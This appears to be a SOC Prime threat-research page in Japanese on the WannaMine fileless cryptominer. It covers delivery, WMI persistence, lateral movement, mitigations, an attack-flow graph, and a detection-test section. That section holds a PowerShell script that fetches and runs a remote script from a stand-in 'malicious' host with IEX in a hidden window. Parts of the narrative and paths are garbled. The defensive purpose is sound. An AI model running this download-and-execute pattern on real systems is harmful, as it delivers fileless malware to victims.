SOC Prime Bias: クリティカル

14 1月 2026 18:14

WannaMine クリプトマイナー分析:ファイルレスな実行と持続性

Author Photo
Ruslan Mikhalov Chief of Threat Research at SOC Prime linkedin icon フォローする
WannaMine クリプトマイナー分析:ファイルレスな実行と持続性
shield icon

Detection stack

  • AIDR
  • Alert
  • ETL
  • Query

概要

WannaMineは、PowerShellとWindows Management Instrumentation(WMI)という主に生活で使用されるツールを使用してメモリ内に常駐し、Moneroをマイニングする、ファイルレスの暗号通貨マイニングワームです。

調査

WannaMineは、悪意のあるバッチファイルを含むフィッシングメールを介して、またはEternalBlue SMBの脆弱性を悪用して配信されます。持続性を維持するため、WMIイベントサブスクリプションを登録し、カスタムWMIクラスにエンコードされたPowerShellを保存します。

WannaMineの緩和策

SMB(MS17-010)のパッチを適用することでEternalBlueの悪用を防止します。PowerShellの実行を制約し、監視し、異常なWMIクラスの作成とイベントコンシューマーを監視し、資格情報の悪用を制限するために最小特権を適用します。

対応

異常なPowerShell/WMIの動作を警告し、影響を受けたホストを隔離し、悪意のあるWMIイベントコンシューマー/サブスクリプションを削除し、潜在的に漏洩した資格情報を回転させ、メモリフォレンジックを行い、メモリ内のマイナーを確認します。

“graph TB %% Class Definitions Section classDef action fill:#99ccff classDef tool fill:#ffcc99 classDef malware fill:#ff9999 classDef process fill:#ccccff classDef operator fill:#ff9900 %% Nodes u2013 Actions action_phishing[“<b>アクション</b> – <b>T1566.001 フィッシング</b>: スピアフィッシングアタッチメントが悪意のあるバッチファイルを配信”] class action_phishing action action_user_exec[“<b>アクション</b> – <b>T1204 ユーザー実行</b>: 被害者がバッチファイルを実行し、PowerShellを起動”] class action_user_exec action action_powershell_exec[“<b>アクション</b> – <b>T1059.001 PowerShell</b>: 隠されたPowerShellスクリプトがOSのアーキテクチャを確認し、ペイロードをダウンロード”] class action_powershell_exec action action_wmi_persistence[“<b>アクション</b> – <b>T1546.003 WMIイベントサブスクリプション</b>: マルウェアがカスタムWMIクラスを作成し、イベントコンシューマーを登録”] class action_wmi_persistence action action_pass_the_hash[“<b>アクション</b> – <b>T1550.002 パスザハッシュ</b>: 抽出されたNTLMハッシュを再利用”] class action_pass_the_hash action action_wmiexec[“<b>アクション</b> – <b>WMIExecによる横展開</b>: ハッシュを使ってリモートホストでPowerShellを実行”] class action_wmiexec action action_eternalblue[“<b>アクション</b> – <b>T1210 リモートサービスのエクスプロイト</b>: ハッシュ再利用が失敗した場合に使用されるEternalBlue (MS17u2011010)”] class action_eternalblue action action_defense_evasion[“<b>アクション</b> – <b>T1550 代替認証情報の使用</b>: 盗まれたハッシュを再利用して資格情報プロンプトを回避”] class action_defense_evasion action action_compute_hijacking[“<b>アクション</b> – <b>T1496.001 コンピュートハイジャック</b>: システムがMoneroの暗号通貨をマイニングするように設定される”] class action_compute_hijacking action action_power_settings[“<b>アクション</b> – <b>T1653 電源設定</b>: 電源管理が変更され、スリープやマイニングの継続を防止”] class action_power_settings action %% Nodes u2013 Tools and Malware file_batch[“<b>ツール</b> – <b>名前</b>: 悪意のあるバッチファイル<br/><b>説明</b>: 初期PowerShellコマンド用のコンテナ”] class file_batch tool tool_powershell[“<b>ツール</b> – <b>名前</b>: PowerShell<br/><b>説明</b>: ダウンロードと実行用のスクリプトエンジン”] class tool_powershell tool tool_wmi[“<b>ツール</b> – <b>名前</b>: Windows管理インストルメント機能<br/><b>説明</b>: 永続性のためのイベントサブスクリプションを登録”] class tool_wmi tool tool_mimikatz[“<b>ツール</b> – <b>名前</b>: Mimikatzモジュール<br/><b>説明</b>: メモリからNTLMハッシュを抽出”] class tool_mimikatz tool tool_wmiexec[“<b>ツール</b> – <b>名前</b>: WMIExec<br/><b>説明</b>: WMIを通じてリモートマシンでコマンドを実行”] class tool_wmiexec tool exploit_eternalblue[“<b>ツール</b> – <b>名前</b>: EternalBlueエクスプロイト<br/><b>説明</b>: SMB脆弱性MS17u2011010を悪用”] class exploit_eternalblue tool malware_payload[“<b>マルウェア</b> – <b>名前</b>: カスタムペイロード<br/><b>説明</b>: マイニングを行うダウンロードされたコンポーネント”] class malware_payload malware process_download[“<b>プロセス</b> – <b>名前</b>: リモートペイロードダウンロード<br/><b>説明</b>: OSアーキテクチャに合わせたバイナリを取得”] class process_download process process_mining[“<b>プロセス</b> – <b>名前</b>: Moneroマイナー<br/><b>説明</b>: 暗号通貨のマイニングにCPUサイクルを消費”] class process_mining process %% Connections u2013 Attack Flow action_phishing u002du002d>|delivers| file_batch file_batch u002du002d>|executed_by_user| action_user_exec action_user_exec u002du002d>|triggers| action_powershell_exec action_powershell_exec u002du002d>|uses| tool_powershell action_powershell_exec u002du002d>|downloads| process_download process_download u002du002d>|stores_as| malware_payload malware_payload u002du002d>|creates| action_wmi_persistence action_wmi_persistence u002du002d>|utilizes| tool_wmi action_wmi_persistence u002du002d>|extracts_hashes_with| tool_mimikatz tool_mimikatz u002du002d>|enables| action_pass_the_hash action_pass_the_hash u002du002d>|enables| action_wmiexec action_pass_the_hash u002du002d>|fallback_to| action_eternalblue action_wmiexec u002du002d>|performs_lateral_move| process_mining action_eternalblue u002du002d>|exploits| exploit_eternalblue exploit_eternalblue u002du002d>|gains_access_for| process_mining process_mining u002du002d>|leads_to| action_defense_evasion action_defense_evasion u002du002d>|enables| action_compute_hijacking action_compute_hijacking u002du002d>|modifies| action_power_settings “

攻撃フロー

シミュレーション実行

前提条件:テレメトリとベースラインの事前チェックが完了している必要があります。

理由:このセクションでは、検出ルールをトリガーするために設計された敵の技術(TTP)の正確な実行を詳述しています。コマンドと説明は特定されたTTPと直接反映され、検出ロジックが期待する正確なテレメトリを生成することを目的としています。

  • 攻撃の物語とコマンド:
    攻撃者はWindowsエンドポイントでリモートコード実行を取得します。ユーザーの操作を避けるために、PowerShellを隠されたウィンドウ(-W Hidden)でプロファイルなしで(-NoP)非インタラクティブ(-NonI)で起動します。このコマンドは IEX を使用して悪意のあるHTTPサーバー(http://malicious:8000/in6.ps1)からのPowerShellペイロードをダウンロードします。ダウンロードされたスクリプトは という名前のWMIクラスを登録し、保存されているBase64エンコードされたMoneroマイナーを含むプロパティを持っています。攻撃者は that stores a property mon containing a Base64‑encoded Monero miner. The attacker then reads the property via [WmiClass] を介してプロパティを読み込み、実行することで、プロセスを新規に作成せずに暗号マイナーを起動します。このシーケンスは検出ルールの3つのコマンドラインのサブストリングと一致します。

  • 回帰テストスクリプト:

    #-------------------------------------------------
    # WannaMineファイルレス暗号通貨マイナーの実行をシミュレートする
    #-------------------------------------------------
    $maliciousServer = "http://malicious:8000"
    $payloadPath     = "$maliciousServer/in6.ps1"
    
    # 1. 隠された、非インタラクティブなPowerShell実行
    $cmd = "-NoP -NonI -W Hidden " +
           "IEX(New-Object Net.WebClient).DownloadString('$payloadPath'); " +
           "`$mon = ([WmiClass] 'rootdefault:Office_Updater').Properties['mon'].Value"
    
    # コマンドを実行する(これは攻撃者が実行するものです)
    Start-Process -FilePath "powershell.exe" -ArgumentList $cmd -WindowStyle Hidden -NoNewWindow
    
    # 注:リモートスクリプト(in6.ps1)は、"mon"プロパティを含むWMIクラスを作成すると仮定されています。
  • クリーンアップコマンド:

    # 悪意のあるWMIクラスを削除する
    Get-WmiObject -Namespace "rootdefault" -Class "Office_Updater" | Remove-WmiObject -ErrorAction SilentlyContinue
    
    # 残っている可能性のあるPowerShellマイナープロセスを停止する(もし起動されている場合)
    Get-Process -Name "powershell" -ErrorAction SilentlyContinue |
        Where-Object {$_.CommandLine -match "mon"} |
        Stop-Process -Force
    
    # 任意: テスト中に作成されたPowerShellのトランスクリプト/ログファイルをクリア
    Remove-Item -Path "$env:LOCALAPPDATAMicrosoftWindowsPowerShellTrace*" -Force -ErrorAction SilentlyContinue